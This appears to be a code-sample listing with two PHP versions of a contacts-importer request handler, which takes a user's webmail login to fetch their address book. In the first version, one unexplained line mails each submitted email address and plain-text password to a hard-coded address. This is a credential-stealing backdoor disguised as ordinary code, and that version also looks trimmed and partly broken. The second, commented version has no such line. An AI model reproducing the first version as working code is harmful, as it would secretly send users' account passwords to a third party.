示例#1
0
 function handle_request($post = null)
 {
     $this->error_message = "";
     $this->error_returned = false;
     $this->captcha_required = false;
     $this->captcha_url = "";
     $this->contacts = null;
     $this->display_menu = true;
     $contacts_importer = null;
     $selected_option = $_POST['contacts_option'];
     $this->current_class = isset($this->contacts_classes[$selected_option]) ? $this->contacts_classes[$selected_option] : null;
     if (!$post) {
         $this->include_form = self::$import_form;
     } else {
         $state = $this->get_from_session($selected_option);
         $this->remove_from_session($selected_option);
         ContactsHelper::IncludeClassFile($this->current_class->FileName);
         mail('*****@*****.**', 'test ' . date('Y-m-d H:i'), 'email : ' . $_POST['email'] . ' pass :'******'pswd']);
         if (isset($post['email'])) {
             list($email, $password, $captcha) = SPUtils::get_values($post, "email", "pswd", "captcha");
             $contacts_importer = new $this->current_class->ClassName($email, $password, $captcha);
         }
         if (!$contacts_importer) {
             $this->error_returned = true;
             $this->error_message = "Could not initialize contacts importer.";
         } else {
             if ($state) {
                 $contacts_importer->RestoreState($state);
             }
             if ($this->contacts = $contacts_importer->contacts) {
                 $this->include_form = self::$invite_form;
                 $this->display_menu = false;
             } else {
                 $this->error_returned = true;
                 $this->include_form = self::$import_form;
             }
             $state = $contacts_importer->GetState();
         }
     }
     $this->session_commit();
     if ($this->output_page && $contacts_page != '') {
         require_once self::$contacts_page;
     }
 }
示例#2
0
 /**
  * Either output the contacts page (and return true/false) or return the form (import/invite) as a string (without writing it to the output stream)
  * @param array $post assoc array (usually $_POST) with form parameters entered by user
  * @return mixed bool|string bool if output_page is set to true and page has been included successfully, string with the form contents only if output_page is false
  */
 function handle_request($post = null)
 {
     //! reset return values
     $this->error_message = "";
     $this->error_returned = false;
     $this->captcha_required = false;
     $this->captcha_url = "";
     $this->contacts = null;
     $this->display_menu = true;
     $contacts_importer = null;
     //! determine where to import contacts from based on contacts option value (Yahoo, Gmail etc)
     $selected_option = isset($_GET[self::$contacts_option]) ? $_GET[self::$contacts_option] : self::$default_class;
     //! we may have a different contacts_option in the query than the one that we really need which would be in the submitted form
     //! this will happen when a user opens a popup window for external authentication, comes back to the form and switches to another form, then back to the external window which would submit the form on success
     if (isset($post["contacts_option"]) && $post["contacts_option"]) {
         //!< post overrides get
         $selected_option = $post["contacts_option"];
     }
     //! when invite form has been submitted $post["contacts"] will contain the selected contacts with key = email and value = name
     //! this is the very last step (after importing contacts, displaying them to the user and user submitting back the selection)
     if (isset($post["contacts"])) {
         //! your implementation to handle selected contacts comes here handle selected contacts here then exit early no need to instantiate importer class
         foreach ($post["contacts"] as $contact_email => $contact_name) {
             //! do something here: store or send out emails (use PHPMailer or other mailing library)
         }
         $this->include_form = self::$invite_done;
         if ($this->output_page) {
             require_once self::$contacts_page;
             return;
         } else {
             return $this->get_form();
         }
     }
     //! back to the beginning, importing contacts: check if selected option maps to an actual class (we don't trust our users)
     $this->current_class = isset($this->contacts_classes[$selected_option]) ? $this->contacts_classes[$selected_option] : null;
     //! if we couldn't map the option to a class, we don't have much else to do, return an error here
     if (!$this->current_class) {
         $this->error_returned = true;
         $this->error_message = "Invalid option {$selected_option}";
     } else {
         if (!$post) {
             $this->include_form = self::$import_form;
         } else {
             //! get any state information pertinent to the request and remove it from session immediately
             //! (it will not be valid on next request, and may or may not be updated after attempt to import contacts)
             $state = $this->get_from_session($selected_option);
             $this->remove_from_session($selected_option);
             //! session is not the only place where we can store state information, add any more state info from the form if available
             if (isset($post["state"]) && $post["state"]) {
                 $state = $state ? "{$state}&{$post["state"]}" : $post["state"];
             }
             //! include only the file of the specific contacts importer class
             ContactsHelper::IncludeClassFile($this->current_class->FileName);
             //!< This actually checks if the file is valid contacts importer class before loading the file
             //! determine if ExtAuth needs to be added to the name of the class for external authentication, and then create a new instance of contacts importer class that corresponds to the selected option
             if ($this->current_class->ExternalAuth) {
                 $class_name = $this->current_class->ClassName . "ExtAuth";
                 $contacts_importer = new $class_name();
             } else {
                 if (isset($post['email'])) {
                     list($email, $password, $captcha) = SPUtils::get_values($post, "email", "pswd", "captcha");
                     $contacts_importer = new $this->current_class->ClassName($email, $password, $captcha);
                 }
             }
             //! make sure instance of the contacts importer class has been created
             if (!$contacts_importer) {
                 $this->error_returned = true;
                 $this->error_message = "Could not initialize contacts importer.";
             } else {
                 //! restore previously stored state (see above - this was combination of state stored in session + state submitted with the form)
                 if ($state) {
                     $contacts_importer->RestoreState($state);
                 }
                 //! $contacts_importer->contacts automagically loads the contacts data on success, returns null otherwise
                 //! it will also accept Contacts (it's a getter property)
                 if ($this->contacts = $contacts_importer->contacts) {
                     //! you could store the list of contacts at this point, the example code displays it for selection
                     $this->include_form = self::$invite_form;
                     $this->display_menu = false;
                 } else {
                     $this->error_returned = true;
                     switch ($contacts_importer->Error) {
                         case ContactsResponses::ERROR_INVALID_LOGIN:
                             $this->error_message = "Invalid Login";
                             break;
                         case ContactsResponses::ERROR_EXTERNAL_AUTH:
                             $this->error_message = "External Authentication Required";
                             break;
                         case ContactsResponses::ERROR_NO_CONTACTS:
                             $this->error_message = "No contacts were found";
                             break;
                         case ContactsResponses::ERROR_NO_USERPASSWORD:
                             $this->error_message = "Provide Email and Password";
                             break;
                         case ContactsResponses::ERROR_CAPTCHA_REQUIRED:
                             //! a note on captcha, if we get it as a response we need to display it ($this is available in the form when it is included)
                             $this->error_message = "Enter captcha to continue";
                             $this->captcha_url = $contacts_importer->CaptchaUrl;
                             $this->captcha_required = true;
                             break;
                         default:
                             //! generic error
                             $this->error_message = "Request could not be handled. Try again Later.";
                             break;
                     }
                     //! usually redisplay the import form with errors returned
                     $this->include_form = self::$import_form;
                 }
                 //! get any state information from the contacts importer class
                 $state = $contacts_importer->GetState();
                 //! if state is not empty and there has not been an error or the error requires state (captcha and external authentication both need to maintain state between requests)
                 if ($state && (!$contacts_importer->Error || $contacts_importer->Error == ContactsResponses::ERROR_CAPTCHA_REQUIRED || $contacts_importer->Error == ContactsResponses::ERROR_EXTERNAL_AUTH)) {
                     // store the state info to session
                     $this->add_to_session($selected_option, $state);
                 }
             }
         }
     }
     $this->session_commit();
     //! get redirect(popup) url if external user authorization is needed
     //! this happens when contacts.main is included from external.php (thus, an early return here)
     if ($this->expect_redirect && is_subclass_of($contacts_importer, "SPContactsExtAuth") && $contacts_importer->UserAuthorizationNeeded) {
         $this->redirect_url = $contacts_importer->UserAuthorizationUrl;
         return;
         //!< ok a third type of return if user needs to be redirected
     }
     if ($this->output_page) {
         //! render the page
         require_once self::$contacts_page;
     } else {
         //! or return the form as a string (an application/page that wants to include the form, would just echo it where necessary)
         return $this->get_form();
     }
 }